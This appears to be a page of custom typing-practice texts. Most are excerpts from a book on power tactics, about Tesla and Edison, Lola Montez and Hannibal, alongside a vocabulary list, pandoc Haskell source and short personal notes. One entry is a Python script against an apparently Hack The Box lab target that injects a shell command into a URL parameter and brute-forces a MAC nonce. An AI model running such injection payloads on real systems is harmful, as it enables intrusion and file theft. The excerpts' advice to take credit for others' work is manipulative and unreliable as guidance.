Prueba Personalizada

LAW_7__4 by user654824

A year later, Westinghouse was caught in a takeover bid from J. Pierpont Morgan, who made him rescind the generous royalty contract he had signed with Tesla. Westinghouse explained to the scientist that his company would not survive if it had to pay him his full royalties; he persuaded Tesla to accept a buyout of his patents for $216,000 a large sum, no doubt, but far less than the $12 million they were worth at the time. The financiers had divested Tesla of the riches, the patents, and essentially the credit for the greatest invention of his career.

htb adv exploit by morellanthony

import requests

URL = "http://83.136.255.150:42815/dir.php"
COOKIES = {"PHPSESSID": "8a55e7sscm1lhrqvb2etklhrih"}

DIR = "/home/htb-stdnt/; cat /hmackey.txt" # Change this each succession
MAC = 0
MAX_NONCE = 20000

def prepare_params(nonce):
return {
"dir": DIR,
"nonce": nonce,
"mac": MAC
}

def make_request(nonce):
return requests.get(URL, cookies=COOKIES, params=prepare_params(nonce))

# main
for n in range(MAX_NONCE):
r = make_request(n)

if not "Error! Invalid MAC" in r.text:
print("Found valid MAC:")
print(r.url)
break

LAW_7__3 by user654824

Tesla's obsession was to create an alternating-current system (AC) of electricity. Edison believed in the direct-current system (DC), and not only refused to support Tesla's research but later did all he could to sabotage him. Tesla turned to the great Pittsburgh magnate George Westinghouse, who had started his own electricity company. Westinghouse completely funded Tesla's research and offered him a generous royalty agreement on future profits. The AC system Tesla developed is still the standard today but after patents were filed in his name, other scientists came forward to take credit for the invention, claiming that they had laid the groundwork for him. His name was lost in the shuffle, and the public came to associate the invention with Westinghouse himself.

LAW_7__2 by user654824

When Tesla met Edison in New York, the famous inventor hired him on the spot. Tesla worked eighteen-hour days, finding ways to improve the primitive Edison dynamos. Finally he offered to redesign them completely. To Edison this seemed a monumental task that could last years without paying off, but he told Tesla, "There's fifty thousand dollars in it for you if you can do it." Tesla labored day and night on the project and after only a year he produced a greatly improved version of the dynamo, complete with automatic controls. He went to Edison to break the good news and receive his $50,000. Edison was pleased with the improvement, for which he and his company would take credit, but when it came to the issue of the money he told the young Serb, "Tesla, you don't understand our American humor!," and offered a small raise instead.

Untitled by kitt-katt-31

Life is funny. Life throws us curve balls better than some of the world's greatest pitchers. Life has ups, downs, and even full circles of events that will always either make us super happy, bring us down, make us angry, make us depressed, and even just bring peace and calm to us. We just have to keep moving no matter what life throws at us.

This world is going to keep spinning, life keeps going, and we are always going to have moments in our life that either we are going to want to move on with the next phase of our lives, or we are going to want to stay right where we are at. So, just remember that when you think that you're better off not being here because you are. We can either buck up and make a better life for ourselves, or we can stay content with where we are at. But failing is not an option because life is too short to stay unhappy for the time of it. Do what you got to do to make it happen.

LAW_7__1 by user654824

Get Others To Do The Work For You, But Always Take The Credit
Transgression And Observance Of The Law
In 1883 a young Servian scientist named Nikola Tesla was working for the European division of the Continental Edison Company. He was a brilliant inventor, and Charles Batchelor, a plant manager and a personal friend of Thomas Edison, persuaded him he should seek his fortune in America, giving him a letter of introduction to Edison himself. So began a life of woe and tribulation that lasted until Tesla's death.

LAW_6__54 by user654824

Never appear overly greedy for attention, then, for it signals insecurity, and insecurity drives power away. Understand that there are times when it is not in your interest to be the center of attention. When in the presence of a king or queen, for instance, or the equivalent thereof, bow and retreat to the shadows; never compete.

LAW_6__53 by user654824

In London in 1850 there was to be a performance of Shakespeare's Macbeth featuring the greatest actor of the time, Charles John Kean. Every-one of consequence in English society was to be there; it was rumored that even Queen Victoria and Prince. Albert were to make a public appearance. The custom of the period demanded that everyone be seated before the queen arrived. So the audience got there a little early, and when the queen entered her royal box, they observed the convention of standing up and applauding her. The royal couple waited, then bowed. Everyone sat down and the lights were dimmed. Then, suddenly, all eyes turned to a box opposite Queen Victoria's: A woman appeared from the shadows, taking her seat later than the queen. It was Lola Montez. She wore a diamond tiara on her dark hair and a long fur coat over her shoulders. People whispered in amazement as the ermine cloak was dropped to reveal a low-necked gown of crimson velvet. By turning their heads, the audience could see that the royal couple deliberately avoided looking at Lola's box. They followed Victoria's example, and for the rest of the evening no one in fashionable society dared to be seen with her. All her magnetic powers were reversed. People would flee her sight. Her future in England was finished.

LAW_6__52 by user654824

Lola Montez was one of the great practitioners of the art of attracting attention. She managed to rise from a middle-class Irish background to being the lover of Francz Liszt and then the mistress and political adviser of King Ludwig of Bavaria. In her later years, though, she lost her sense of proportion.

LAW_6__51 by user654824

There are times when the need for attention must be deferred, and when scandal and notoriety are the last things you want to create. The attention you attract must never offend or challenge the reputation of those above you not, at any rate, if they are secure. You will seem not only paltry but desperate by comparison. There is an art to knowing when to draw notice and when to withdraw.

LAW_6__50 by user654824

Reversal
In the beginning of your rise to the top, you must attract attention at all cost, but as you rise higher you must constantly adapt. Never wear the public out with the same tactic. An air of mystery works wonders for those who need to develop an aura of power and get themselves noticed, but it must seem measured and under control. Mata Hari went too far with her fabrications; although the accusation that she was a spy was false, at the time it was a reasonable presumption because all her lies made her seem suspicious and nefarious. Do not let your air of mystery be slowly transformed into a reputation for deceit. The mystery you create must seem a game, playful and unthreatening. Recognize when it goes too far, and pull back.

LAW_6__49 by user654824

Authority: If you do not declare yourself immediately, you arouse expectation.... Mix a little mystery with everything, and the very mystery stirs up veneration. And when you explain, be not too explicit.... In this manner you imitate the Divine way when you cause men to wonder and watch. (Baltasar Gracian, 1601-1658)

LAW_6__48 by user654824

Image: The Dance of the Veils the veils envelop the dancer. What they reveal causes excitement. What they conceal heightens interest. The essence of mystery.

LAW_6__47 by user654824

If you find yourself trapped, cornered, and on the defensive in some situation, try a simple experiment: Do something that cannot be easily explained or interpreted. Choose a simple action, but carry it out in a way that unsettles your opponent, a way with many possible interpretations, making your intentions obscure. Don't just be unpredictable (although this tactic too can be successful see Law 17); like Hannibal, create a scene that cannot be read. There will seem to be no method to your madness, no rhyme or reason, no single explanation. If you do this right, you will inspire fear and trembling and the sentries will abandon their posts. Call it the "feigned madness of Hamlet" tactic, for Hamlet uses it to great effect in Shakespeare's play, frightening his stepfather Claudius through the mystery of his behavior. The mysterious makes your forces seem larger, your power more terrifying.

mycustom by nihalkhan825

days of the week monday tuesday wednesday thursday friday saturday
sunday weekdays weekend

months of the year january february march april may june july august
september october november december

money matters cash debit credit card cheque in advance annual fee
monthly membership interest rate deposit tuition fees poverty bank statement
money management current account student account withdraw lowrisk investment
mortgage grace period budget deficit retail voucher coupon، counterfeit money
public money taxpayers money debt interestfree credit purchase partial refund
annuity nonrefundable mastercard visa distribution costs income finance
department family finances duty free store

subjects science politics history biology architecture law geography
archaeology literature business management agriculture statistics mathematics
logic physics psychology anthropology economics philosophy performing arts visual
arts chemistry humanities

studying at college university course outline group discussion handout
written work report writing research proofreading experiment experience
reference textbook dictionary laptop printer student advisor teamwork module
topic assessment library department computer center classroom lecture tutor
main hall attendance deadline give a talk speech computer laboratory certificate
diploma placement tests overseas students fulltime facilities college dining room
specialist knowledge international accommodation home stay primary secondary
intermediate media room resources room staff commencement dissertation
leaflet faculty pupils pencil feedback tasks outcomes advanced introductory
extra background higher education guidelines postsecondary supervisor bachelors
degree compound vocabulary student support services student retention publication
foreign students schedule school reunion registrar’s office stationery
marketing catalogue interview newsletter competition tv program strategies
research method entertainment industry leadership management display products
customer special offer collecting data questionnaire survey mass media statistic
profit margin poll business card training trainee merchandise manufacture
recruitment

health yoga taichi keepfit salad bar vegetarian outdoor activities leisure time
disease meal protein balanced diet food pyramid vitamin carbohydrates rice
pasta potatoes pizza tomatoes bread cereals minerals zinc meat seafood eggs
beans milk cheese yoghurt fruit vegetables citrus fruits green pepper blackcurrant
nuts egg yolk liver medicine، treatment remedy nursing care nursery regular exercise

nature field footbridge environment waterfall river mountain forest village
coast reef lake valley hill cliff island peninsula earthquake avalanche tornado
typhoon desertification volcano disaster catastrophe erosion landslides storm
flood hurricane pond jungle oasis dam canyon

the environment greenhouse effect acid rain global warming carbon dioxide
burning fossil exhaust fumes deforestation nitrogen oxide smog climate pollution
temperature power plants landfill cattle wind turbine soar power hydroelectric
power renewable source of energy reliable solar panels environmentally friendly
oxygen chemical free desert degradation vegetation sea level ocean currents soil
conditioner coal fossil fuels firewood drought contaminated

the animal kingdom birds of prey seabirds poultry and game mammals
cetacean whale primates’ rodents fish amphibian reptile insect’s octopus phylum
class order family genus species livestock creature lion penguin
plants mushroom fungus leaves seed core bark trunk twig branch flower
stem roots cluster fertilizer

continents south america north america africa asia europe
australia and antarctica

countries egypt mexico france indonesia turkey england germany china
greece brazil india north korea india malaysia new zealand nigeria pakistan
singapore switzerland united kingdom italy the dominican republic the philippines
denmark

languages linguistics bilingual trilingual polyglot portuguese mandarin
bengali chinese hindi russian japanese german punjabi thai persian filipino
french italian greek french

architecture and buildings dome palace fort castle glasshouse pyramid
log cabin lighthouse hut skyscraper sculpture
homes semidetached house duplex terraced house town house row house
bungalow thatched cottage mobile home houseboat block of flats apartment
building condominium chimney bedroom basement landlord tenant rent lease
neighborhood suburb sofa coffee table dormitory story kitchen refrigerator
microwave ground floor oven hallway insurance

in the city cities street lane city center central station car park department
store bridge temple embassy road system hospital garden avenue
workplaces clinic dentist reception appointment staff selection colleague
workshop showroom information desk employer employment unemployed technical
cooperation team leaders stress ability vision confidence employee internship

rating and qualities reasonable satisfactory dangerous safe strongly
recommended poor quality satisfied disappointed efficient luxurious colored
spotted striped expensive cheap

touring tourist guided tour ticket office souvenir trip guest reservation view
culture memorable single double bedded room picnic tourist attraction hostel
suite aquarium

verbs train develop collect supervise mark edit revise exhibit donate
surpass register support hunt persuade concentrate discuss suggest arrange
borrow immigrate review learn touch

adjectives energetic social ancient necessary fantastic exciting fabulous
dull comfortable convenient suitable affordable voluntary، mandatory compulsory
temporary permanent immense vast salty extinct vulnerable pessimistic
optimistic realistic practical knowledgeable flexible confident western intensive
tranquil spectacular intact various

hobbies orienteering caving spelunking archery ice skating scuba diving
snorkeling skateboarding bowls darts golf billiards photography painting pottery
woodcarving gardening stamp collection embroidery climbing chess parachute
sports cricket baseball basketball rugby soccer american football hockey
swimming tennis squash badminton Ping-Pong field court pitch stadium team
the discus the javelin the hammer the high jump horse racing shows jumping polo
cycling gymnasium athlete gym extreme sports paragliding hang-gliding skydiving
abseiling snowboarding bungee jumping surfing windsurfing jet skiing
bodyboarding whitewater rafting kitesurfing mountain biking jogging press up
pushup barbell treadmill judo recreation snooker walking championship
canoeing refreshment

shapes square rectangular triangular polygon oval spherical spiral circular
curved cylindrical

measurement width length altitude imperial system metric system mass
depth breadth height three dimensions frequency
transportations cargo plane shipment container ship boat lifeboat
ferry hovercraft hydrofoil liner canal boat narrowboat dinghy sailing sailboat
paddle steamer cabin cruiser rowing boat rowboat kayak canoe punt gondola
aircraft helicopter seaplane airship hot air balloon airport crew passenger
platform hire a car automobile

vehicles double-decker bus single-decker minibus school bus coach truck
tanker van lorry transporter forklift truck tow truck breakdown truck pickup jeep
caravan camper tractor taxi cab tram underground subway stream train freight
train goods train


weather humid hot sticky breeze chilly cold cool dry dusty freezing hot
warm wet weather forecast antenna moisture
places local library swimming pool cafeteria cottage parliament
accommodation restaurant canteen cafe bookshop sports center city council
dance studio park conversation club kindergarten
equipment and tools helmet light musical instrument cassette silicon chip
digital monitor gadget device screen breaks wheels mechanical pencil disk
backpack

the arts and media opera orchestra concert symphony the press
conductor vocalist audience festival carnival exhibition classical music theatre
cinemas art gallery museum ballet television radio graphics newspaper
materials fur metal steel aluminum copper rubber plastic ceramics glass
cement stone textile cotton fabric wool leather bone paper lumber wood glue
composite fiberglass concrete wax paper wood silver gold feather
works and jobs occupation profession designer decorator architect engineer
manager waitress waiter teacher vacancy professor specialist psychologist،
volunteer freelance secretary craftsman work experience curriculum vitae mail
address receptionist pilot guard flight attendant lecturer office assistant clerk
accountant cashier captain

color blue white orange green grey black red yellow purple brown pink
expressions and time three times three times per week a gap year full
time parttime midday midnight millennium century decade fortnight
other passport photo state government individual variety private sector
practice gender creativity original inhabitant indigenous demonstration strike
entrance circuit guarantee dialogue commerce carriage narrative chocolate
satellite decision prototype attitude daily routine personal fulfillment activity
recipient ultrasound pedestrian safety traffic jams procedures creation prize
junior senior opportunity driving license process literary manmade republicans
umbrella frequently updated waiting list sewer systems liberal democracy
democrats lunar calendar libertarian burger videos nature conservation life
expectancy fundraising event magnet dialect ramification straight farewell welfare
encyclopedia evolution revolution illiteracy robot proficiency sufficient

Washington by wishpath

D.C. Virginia Potomac 1847, Virginia's returned 1847 D.C. Potomac.

122 by chemist

here's some incredibly boring information about my life

Haskell Pandoc App by strosekd

import Text.Pandoc.PDF (makePDF)
import Text.Pandoc.Scripting (ScriptingEngine (..), CustomComponents(..))
import Text.Pandoc.SelfContained (makeSelfContained)
import Text.Pandoc.Shared (tshow)
import Text.Pandoc.Writers.Shared (lookupMetaString)
import Text.Pandoc.Readers.Markdown (yamlToMeta)
import qualified Text.Pandoc.UTF8 as UTF8
#ifndef _WINDOWS
import System.Posix.IO (stdOutput)
import System.Posix.Terminal (queryTerminal)
#endif

convertWithOpts :: ScriptingEngine -> Opt -> IO ()
convertWithOpts scriptingEngine opts = do
let outputFile = fromMaybe "-" (optOutputFile opts)
datadir <- case optDataDir opts of
Nothing -> do
d <- defaultUserDataDir
exists <- doesDirectoryExist d
return $ if exists
then Just d
else Nothing
mdatadir -> return mdatadir

when (optDumpArgs opts) $
do UTF8.hPutStrLn stdout (T.pack outputFile)
mapM_ (UTF8.hPutStrLn stdout . T.pack)
(fromMaybe ["-"] $ optInputFiles opts)
exitSuccess

#ifdef _WINDOWS
let istty = True
#else
istty <- liftIO $ queryTerminal stdOutput
#endif

res <- runIO $ convertWithOpts' scriptingEngine istty datadir opts
case res of
Left e -> E.throwIO e
Right (output, reports) -> do
case optLogFile opts of
Nothing -> return ()
Just logfile -> BL.writeFile logfile (encodeLogMessages reports)
let isWarning msg = messageVerbosity msg == WARNING
when (optFailIfWarnings opts && any isWarning reports) $
E.throwIO PandocFailOnWarningError
let eol = case optEol opts of
CRLF -> IO.CRLF
LF -> IO.LF
Native -> nativeNewline
case output of
TextOutput t -> writerFn eol outputFile t
BinaryOutput bs -> writeFnBinary outputFile bs
ZipOutput bs
| null (takeExtension outputFile) -> do
-- create directory and unzip
createDirectory outputFile -- will fail if directory exists
let zipopts = [OptRecursive, OptDestination outputFile] ++
[OptVerbose | optVerbosity opts == INFO]
case toArchiveOrFail bs of
Right archive -> extractFilesFromArchive zipopts archive
Left e -> E.throwIO $ PandocShouldNeverHappenError $ T.pack e
| otherwise -> writeFnBinary outputFile bs

convertWithOpts' :: (PandocMonad m, MonadIO m, MonadMask m)
=> ScriptingEngine
-> Bool
-> Maybe FilePath
-> Opt
-> m (PandocOutput, [LogMessage])
convertWithOpts' scriptingEngine istty datadir opts = do
configureCommonState datadir opts
let outputFile = fromMaybe "-" (optOutputFile opts)
let filters = optFilters opts
let sources = case optInputFiles opts of
Just xs | not (optIgnoreArgs opts) -> xs
_ -> ["-"]

let defFlavor fmt = Format.FlavoredFormat fmt mempty
-- assign reader and writer based on options and filenames
flvrd@(Format.FlavoredFormat readerNameBase _extsDiff) <-
case optFrom opts of
Just f -> Format.parseFlavoredFormat f
Nothing -> case Format.formatFromFilePaths sources of
Just f' -> return f'
Nothing | sources == ["-"] -> return $ defFlavor "markdown"
| otherwise -> do
report $ CouldNotDeduceFormat
(map (T.pack . takeExtension) sources) "markdown"
return $ defFlavor "markdown"

let makeSandboxed pureReader =
let files = maybe id (:) (optReferenceDoc opts) .
maybe id (:) (optEpubMetadata opts) .
maybe id (:) (optEpubCoverImage opts) .
maybe id (:) (optCSL opts) .
maybe id (:) (optCitationAbbreviations opts) $
optEpubFonts opts ++
optBibliography opts
in case pureReader of
TextReader r -> TextReader $ \o t -> sandbox files (r o t)
ByteStringReader r
-> ByteStringReader $ \o t -> sandbox files (r o t)

(reader, readerExts) <-
if ".lua" `T.isSuffixOf` readerNameBase
then do
let scriptPath = T.unpack readerNameBase
components <- engineLoadCustom scriptingEngine scriptPath
r <- case customReader components of
Nothing -> throwError $ PandocAppError $
readerNameBase <> " does not contain a custom reader"
Just r -> return r
let extsConf = fromMaybe mempty (customExtensions components)
rexts <- Format.applyExtensionsDiff extsConf flvrd
return (r, rexts)
else if optSandbox opts
then case runPure (getReader flvrd) of
Left e -> throwError e
Right (r, rexts) -> return (makeSandboxed r, rexts)
else getReader flvrd

outputSettings <- optToOutputSettings scriptingEngine opts
let format = outputFormat outputSettings
let writer = outputWriter outputSettings
let writerOptions = outputWriterOptions outputSettings

-- whether we are targeting PDF.
let pdfOutput = isJust $ outputPdfProgram outputSettings
-- whether standalone output should be produced.
let bibOutput = format `elem` ["bibtex", "biblatex", "csljson"]
let standalone = isJust (writerTemplate writerOptions) || bibOutput

--
-- Sanity checks
--
when (pdfOutput && readerNameBase == "latex") $
case optInputFiles opts of
Just (inputFile:_) -> report $ UnusualConversion $ T.pack $
"to convert a .tex file to PDF, you get better results by using pdflatex "
<> "(or lualatex or xelatex) directly, try `pdflatex " <> inputFile
<> "` instead of `pandoc " <> inputFile <> " -o " <> outputFile <> "`."
_ -> return ()

-- We don't want to send output to the terminal if the user
-- does 'pandoc -t docx input.txt'; though we allow them to
-- force this with '-o -'. On posix systems, we detect
-- when stdout is being piped and allow output to stdout
-- in that case, but on Windows we can't.
when ((pdfOutput || not (isTextFormat format)) &&
istty && isNothing ( optOutputFile opts)) $
throwError $ PandocAppError $
"Cannot write " <> (if pdfOutput then "pdf" else format) <>
" output to terminal.\n" <>
"Specify an output file using the -o option, or " <>
"use '-o -' to force output to stdout."

when (readerNameBase == "markdown_github" ||
format == "markdown_github") $
report $ Deprecated "markdown_github" "Use gfm instead."

abbrevs <- readAbbreviations (optAbbreviations opts)
let readerOpts = def{
readerStandalone = standalone
, readerColumns = optColumns opts
, readerTabStop = optTabStop opts
, readerIndentedCodeClasses = optIndentedCodeClasses opts
, readerDefaultImageExtension = optDefaultImageExtension opts
, readerTrackChanges = optTrackChanges opts
, readerAbbreviations = abbrevs
, readerExtensions = readerExts
, readerStripComments = optStripComments opts
}

metadataFromFile <- getMetadataFromFiles readerNameBase readerOpts
(optMetadataFiles opts)

let transforms = (case optShiftHeadingLevelBy opts of
0 -> id
x -> (headerShift x :)) .
(if extensionEnabled Ext_east_asian_line_breaks
readerExts &&
not (extensionEnabled Ext_east_asian_line_breaks
(writerExtensions writerOptions) &&
writerWrapText writerOptions == WrapPreserve)
then (eastAsianLineBreakFilter :)
else id) .
(case optIpynbOutput opts of
_ | readerNameBase /= "ipynb" -> id
IpynbOutputAll -> id
IpynbOutputNone -> (filterIpynbOutput Nothing :)
IpynbOutputBest -> (filterIpynbOutput (Just $
if htmlFormat format
then Format "html"
else
case format of
"latex" -> Format "latex"
"beamer" -> Format "latex"
_ -> Format format) :))
$ []

let isPandocCiteproc (JSONFilter f) = takeBaseName f == "pandoc-citeproc"
isPandocCiteproc _ = False

when (any isPandocCiteproc filters) $
report $ Deprecated "pandoc-citeproc filter"
"Use --citeproc instead."

let cslMetadata =
maybe id (setMeta "csl") (optCSL opts) .
(case optBibliography opts of
[] -> id
xs -> setMeta "bibliography" xs) .
maybe id (setMeta "citation-abbreviations")
(optCitationAbbreviations opts) $ mempty

let filterEnv = Environment readerOpts writerOptions

let inputParams = InputParameters
{ inputReader = reader
, inputReaderName = readerNameBase
, inputReaderOptions = readerOpts
, inputSources = sources
, inputFileScope = optFileScope opts
, inputSpacesPerTab = if optPreserveTabs opts
then Nothing
else Just (optTabStop opts)
}

doc <- readInput inputParams
>>= ( return . adjustMetadata (metadataFromFile <>)
>=> return . adjustMetadata (<> optMetadata opts)
>=> return . adjustMetadata (<> cslMetadata)
>=> applyFilters scriptingEngine filterEnv filters [T.unpack format]
>=> applyTransforms transforms
>=> (if not (optSandbox opts) &&
(isJust (optExtractMedia opts)
|| format == "docx") -- for fallback pngs
then fillMediaBag
else return)
>=> maybe return extractMedia (optExtractMedia opts)
)

when (format == "docx" && not (optSandbox opts)) $ do
createPngFallbacks (writerDpi writerOptions)

output <- case writer of
ByteStringWriter f
| format == "chunkedhtml" -> ZipOutput <$> f writerOptions doc
| otherwise -> BinaryOutput <$> f writerOptions doc
TextWriter f -> case outputPdfProgram outputSettings of
Just pdfProg -> do
res <- makePDF pdfProg (optPdfEngineOpts opts) f
writerOptions doc
case res of
Right pdf -> return $ BinaryOutput pdf
Left err' -> throwError $ PandocPDFError $
TL.toStrict (TE.decodeUtf8With TE.lenientDecode err')

Nothing -> do
let ensureNl t
| standalone = t
| T.null t || T.last t /= '\n' = t <> T.singleton '\n'
| otherwise = t
textOutput <- ensureNl <$> f writerOptions doc
if (optSelfContained opts || optEmbedResources opts) && htmlFormat format
then TextOutput <$> makeSelfContained textOutput
else return $ TextOutput textOutput
reports <- getLog
return (output, reports)

data PandocOutput =
TextOutput Text
| BinaryOutput BL.ByteString
| ZipOutput BL.ByteString
deriving (Show)

-- | Configure the common state
configureCommonState :: PandocMonad m => Maybe FilePath -> Opt -> m ()
configureCommonState datadir opts = do
setUserDataDir datadir
setTrace (optTrace opts)
setVerbosity (optVerbosity opts)
setResourcePath (optResourcePath opts)
setInputFiles (fromMaybe ["-"] (optInputFiles opts))
setOutputFile (optOutputFile opts)
setNoCheckCertificate (optNoCheckCertificate opts)

mapM_ (uncurry setRequestHeader) (optRequestHeaders opts)

case lookupMetaString "lang" (optMetadata opts) of
"" -> setTranslations $ Lang "en" Nothing (Just "US") [] [] []
l -> case parseLang l of
Left _ -> report $ InvalidLang l
Right l' -> setTranslations l'

-- | Retrieves the set of abbreviations to be used by pandoc. These currently
-- only affect the Markdown reader.
readAbbreviations :: PandocMonad m => Maybe FilePath -> m (Set.Set Text)
readAbbreviations mbfilepath =
(case mbfilepath of
Nothing -> readDataFile "abbreviations"
Just f -> readFileStrict f)
>>= fmap (Set.fromList . filter (not . T.null) . T.lines) .
toTextM (fromMaybe mempty mbfilepath)

createPngFallbacks :: (PandocMonad m, MonadIO m) => Int -> m ()
createPngFallbacks dpi = do
-- create fallback pngs for svgs
items <- mediaItems <$> getMediaBag
forM_ items $ \(fp, mt, bs) ->
case T.takeWhile (/=';') mt of
"image/svg+xml" -> do
res <- svgToPng dpi bs
case res of
Right bs' -> do
let fp' = fp <> ".png"
insertMedia fp' (Just "image/png") bs'
Left e -> report $ CouldNotConvertImage (T.pack fp) (tshow e)
_ -> return ()

getMetadataFromFiles :: PandocMonad m
=> Text -> ReaderOptions -> [FilePath] -> m Meta
getMetadataFromFiles readerFormat readerOpts = \case
[] -> return mempty
paths -> mconcat <$> do
-- If format is markdown or commonmark, use the enabled extensions,
-- otherwise treat metadata as pandoc markdown (see #7926, #6832)
let readerOptsMeta =
if readerFormat `elem` ["markdown", "commonmark"]
then readerOpts
else readerOpts{ readerExtensions = pandocExtensions }
forM paths $ \path -> do
raw <- readMetadataFile path
yamlToMeta readerOptsMeta (Just path) raw

htmlFormat :: Text -> Bool
htmlFormat = (`elem` ["html","html4","html5","s5","slidy",
"slideous","dzslides","revealjs"])

isTextFormat :: Text -> Bool
isTextFormat s = s `notElem` ["odt","docx","epub2","epub3","epub","pptx"]

adjustMetadata :: (Meta -> Meta) -> Pandoc -> Pandoc
adjustMetadata f (Pandoc meta bs) = Pandoc (f meta) bs

writeFnBinary :: FilePath -> BL.ByteString -> IO ()
writeFnBinary "-" = BL.putStr
writeFnBinary f = BL.writeFile (UTF8.encodePath f)

writerFn :: IO.Newline -> FilePath -> Text -> IO ()
writerFn eol "-" = UTF8.putStrWith eol
writerFn eol f = UTF8.writeFileWith eol f

LAW_6__46 by user654824

By the next day, Hannibal had escaped from the marshland. What was his trick? Had he really conjured up demons? Actually what he had done was order bundles of twigs to be fastened to the horns of the thousands of oxen that traveled with his troops as beasts of burden. The twigs were then lit, giving the impression of the torches of a vast army heading up the mountain. When the flames burned down to the oxen's skin, they stampeded in all directions, bellowing like mad and setting fires all over the mountainside. The key to this device's success was not the torches, the fires, or the noises in themselves, however, but the fact that Hannibal had created a puzzle that captivated the sentries' attention and gradually terrified them. From the mountaintop there was no way to explain this bizarre sight. If the sentries could have explained it they would have stayed at their posts.

LAW_6__45 by user654824

As they watched, fires broke out all over the mountain, and a horrible noise drifted up to them from below, like the blowing of a million horns. Demons, they thought. The sentries, the bravest and most sensible in the Roman army, fled their posts in a panic.